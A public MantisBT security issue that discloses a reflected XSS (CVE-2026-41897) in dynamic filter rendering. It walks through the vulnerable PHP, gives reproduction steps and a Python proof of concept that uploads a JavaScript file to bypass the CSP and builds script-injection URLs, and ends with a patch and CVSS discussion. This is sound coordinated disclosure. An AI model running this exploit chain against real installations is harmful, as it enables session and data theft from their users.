View Issue Details

IDProjectCategoryView StatusLast Update
0037013mantisbtsecuritypublic2026-05-09 19:56
Reportersiunam Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.1 
Target Version2.28.2Fixed in Version2.28.2 
Summary0037013: CVE-2026-41897: Reflected XSS in Rendering Dynamic Custom Textarea Field
Description

In return_dynamic_filters.php line 103 - 110, if the user provided a custom field in the filter target (GET parameter filter_target), $t_custom_id's value will not get validated and/or sanitized:

if( false !== $t_content ) {
    // [...]
} else if( 'custom_field' == mb_substr( $f_filter_target, 0, 12 ) ) {
    # Check existence of custom field id, and if the user has access to read and filter by
    $t_custom_id = mb_substr( $f_filter_target, 13, -7 );
    $t_cfdef = custom_field_get_definition( $t_custom_id );
    if( $t_cfdef && access_has_any_project_level( $t_cfdef['access_level_r'] ) && $t_cfdef['filter_by'] ) {
        $t_found = true;
        return_dynamic_filters_prepend_headers();
        print_filter_custom_field( $t_custom_id, $t_filter );
    } else {
        // [...]
    }
} else {
    // [...]
}

In the above custom_field_get_definition function call, it'll call function custom_field_cache_row, in which converts $t_custom_id (argument $p_field_id in that function) as an integer at core/custom_field_api.php line 125:

function custom_field_cache_row( $p_field_id, $p_trigger_errors = true ) {
    // [...]
    $c_field_id = (int)$p_field_id;
    if( !isset( $g_cache_custom_field[$c_field_id] ) ) {
        custom_field_cache_array_rows( array( $c_field_id ) );
    }
    // [...]
    $t_cf_row = $g_cache_custom_field[$c_field_id];
    // [...]
    return $t_cf_row;
}

Therefore, if $t_custom_id is 1foobar, PHP will type cast the value to integer 1, which retrieves cached custom field with ID 1.

After retrieving the cached custom field, it'll be rendered as HTML code in function print_filter_custom_field if the current user can read the custom field (access_level_r):

if( false !== $t_content ) {
    // [...]
} else if( 'custom_field' == mb_substr( $f_filter_target, 0, 12 ) ) {
    // [...]
    if( $t_cfdef && access_has_any_project_level( $t_cfdef['access_level_r'] ) && $t_cfdef['filter_by'] ) {
        // [...]
        print_filter_custom_field( $t_custom_id, $t_filter );
    } else {
        // [...]
    }
} else {
    // [...]
}

Inside that function, it'll call function custom_field_get_definition, which is a wrapper function for custom_field_cache_row, and get the custom field again with the type cast'd $t_custom_id. After that, the value of $t_custom_id (argument $p_field_id in function print_filter_custom_field) did not get HTML entity encoded, and thus can achieve HTML injection:

core/filter_form_api.php line 2071 - 2119:

function print_filter_custom_field( $p_field_id, ?array $p_filter = null ) {
    // [...]
    $t_cfdef = custom_field_get_definition( $p_field_id );

    switch( $t_cfdef['type'] ) {
        case CUSTOM_FIELD_TYPE_DATE:
            print_filter_custom_field_date( $p_field_id, $p_filter );
            break;

        case CUSTOM_FIELD_TYPE_TEXTAREA:
            echo '<input class="input-xs" type="text" name="custom_field_', $p_field_id, '" size="10" value="" >';
            break;

        default:
            echo '<select class="input-xs" ' . filter_select_modifier( $p_filter ) . ' name="custom_field_' . $p_field_id . '[]">';
            // [...]
            break;
    }
}

Unfortunately, only custom field type CUSTOM_FIELD_TYPE_TEXTAREA is exploitable. This is because of the undefined array key error:

function print_filter_custom_field( $p_field_id, ?array $p_filter = null ) {
    // [...]
    $t_cfdef = custom_field_get_definition( $p_field_id );

    switch( $t_cfdef['type'] ) {
        case CUSTOM_FIELD_TYPE_DATE:
            print_filter_custom_field_date( $p_field_id, $p_filter );
            break;
        case CUSTOM_FIELD_TYPE_TEXTAREA:
            // [...]
        default:
            // [...]
            check_selected( $p_filter['custom_fields'][$p_field_id], META_FILTER_ANY, false );
            // [...]
            break;
    }
}

function print_filter_custom_field_date( $p_field_id, ?array $p_filter = null ) {
    // [...]
    $t_start_time = $p_filter['custom_fields'][$p_field_id][1] ?? 0;
    $t_end_time = $p_filter['custom_fields'][$p_field_id][2] ?? 0;
    // [...]
}

For instance, if the user provided custom field ID is 1<h1>HTML injection</h1>, it'll get $p_filter['custom_fields']["1<h1>HTML injection</h1>"]. Since that array key does not exist, it'll display the following error with Content-Type text/plain:

'Undefined array key <custom_id>' in '/var/www/html/core/filter_form_api.php' line 2092

After achieving HTML injection, the attacker with access level reporter or above can bypass the Content Security Policy (CSP) via endpoint /file_download.php. (Mentioned in https://mantisbt.org/bugs/view.php?id=37011)

Steps To Reproduce
  1. Create a new account with access level reporter if needed
  2. Create a new textarea custom field in /manage_custom_field_page.php
    1. Link the custom field to a project that can be accessed by user in step 1
      1. Select a project
      2. Click "Link Custom Field"
    2. Update the field's type to "Textarea"
      1. Select "Textarea" in section "Type"
      2. Click "Update Custom Field"
  3. Run the Proof-of-Concept Python script (poc.py), which will find an exploitable custom textarea field and upload a JavaScript file to bypass the CSP
  4. The victim visit the URL in step 3 and trigger the XSS payload
Additional Information

A Proof-of-Concept MP4 video is also attached.

TagsNo tags attached.
Attached Files
poc.py (5,361 bytes)   
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode

class Poc:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.ISSUE_CATEGORY_GENERAL_ID = 1
        self.ISSUE_PUBLIC_VIEW_STATE = 10
        self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'

        self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
        self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.RETURN_DYNAMIC_FILTERS_ENDPOINT = f'{self.baseUrl}/return_dynamic_filters.php'
        self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
        self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects'

        self.PADDING_CHARACTERS = 'A' * 7 # return_dynamic_filters.php:105 -> $t_custom_id = mb_substr( $f_filter_target, 13, -7 );

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def getCurrentUserInfo(self, account):
        response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
        response.raise_for_status()
        return response.json()

    def getCSRFToken(self, endpoint, account, csrfTokenName):
        response = account['session'].get(endpoint)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', {'name': csrfTokenName})['value']
        return csrf_token

    def uploadJavaScriptFile(self, account, filename, payload):
        files = { 'ufile[0]': (filename, payload, 'application/javascript') }
        data = {
            self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
            'project_id': account['user_info']['projects'][0]['id'],
            'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
            'summary': 'CSP Bypass PoC',
            'description': 'CSP Bypass PoC',
            'view_state': self.ISSUE_PUBLIC_VIEW_STATE
        }
        response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
        return fileEndpoint

    def getProjects(self, account):
        response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT)
        response.raise_for_status()
        return response.json()['projects']
    
    def getProjectCustomTextareaFields(self, account):
        exploitableCustomFields = []

        projects = self.getProjects(account)
        for project in projects:
            if 'custom_fields' not in project:
                continue
            if len(project['custom_fields']) == 0:
                continue

            for customField in project['custom_fields']:
                if customField['type'] != 'textarea':
                    continue

                exploitableCustomFields.append(customField)

        if len(exploitableCustomFields) == 0:
             print(f'[-] No exploitable custom fields found in any project. Exiting...')
             exit(0)

        return exploitableCustomFields

    def execute(self, accounts):
        # 1. Log in as a user with at least Reporter access level to be able to upload files
        self.login(accounts['reporter'])
        accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])
        print(f'[+] Logged in as {accounts["reporter"]["username"]}')

        # 2. Find any exploitable custom textarea fields in all projects that can be used for the reflected XSS vulnerability.
        exploitableCustomFields = self.getProjectCustomTextareaFields(accounts['reporter'])
        print(f'[+] Found {len(exploitableCustomFields)} exploitable custom fields in all projects.')

        javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
        # 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
        XSSFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'xss.js', javascriptPayload)
        print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {XSSFileEndpoint}')

        for customField in exploitableCustomFields:
            xssPayload = urlencode({ 'filter_target': f'custom_field_{customField["id"]}"><script src="/{XSSFileEndpoint}"></script>{self.PADDING_CHARACTERS}' })

            print(f'    - Custom textarea field name: {customField["name"]} (ID: {customField["id"]}) | Minimum access level: {customField["access_level_r"]["name"]}')
            print(f'      URL to trigger the reflected XSS vulnerability: {self.RETURN_DYNAMIC_FILTERS_ENDPOINT}?{xssPayload}')

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    accounts = {
        'reporter': {
            'username': 'reporter',
            'password': 'password',
            'session': requests.Session()
        }
    }

    poc = Poc(baseUrl)
    poc.execute(accounts)
poc.py (5,361 bytes)   
poc.mp4 (1,016,668 bytes)   

Activities

dregad

dregad

2026-04-12 20:11

developer   ~0070990

It's getting late and I need some sleep. I'll have a look at this one later...

dregad

dregad

2026-04-19 06:57

developer   ~0071029

Last edited: 2026-04-19 06:58

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j7v9-f46r-2rp4 created, CVE request sent.

Proposed patch: https://github.com/mantisbt/mantisbt-ghsa-j7v9-f46r-2rp4/pull/1

siunam

siunam

2026-04-19 08:20

reporter   ~0071030

I tested the patch and confirmed the vulnerability can't be reproduced anymore. However, the default custom field type's $p_field_id is missing HTML entity encoding.

For the CVSS score, I think it should be 7.5 (CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N):

  • "Attack Requirements" is set to "Present", as the vulnerability requires a custom textarea field (not available by default).
  • "Privileges Required" is set to "Low", as it requires the attacker to find the vulnerable custom field ID. Otherwise, the attacker would need to brute force the ID.
  • "User Interaction" is set to "Passive", as the victim will need to visit the attacker's provided URL.
  • "Confidentiality", "Integrity" are "High", and "Availability" is "Low".
dregad

dregad

2026-04-19 09:55

developer   ~0071034

Thanks for the review, I have made necessary adjustments.

siunam

siunam

2026-04-19 10:12

reporter   ~0071035

Thanks! Both changes LGTM!

dregad

dregad

2026-04-24 07:47

developer   ~0071043

CVE-2026-41897 assigned

Related Changesets

MantisBT: master-2.28 c885af13

2026-04-19 10:35

dregad


Details Diff
Fix XSS in return_dynamic_filters.php

Prevent reflected XSS with TEXTAREA custom fields using a crafted
filter_target parameter by validating user input and proper escaping.

Fixes 0037013, GHSA-j7v9-f46r-2rp4
Affected Issues
0037013
mod - core/date_api.php Diff File
mod - core/filter_form_api.php Diff File
mod - return_dynamic_filters.php Diff File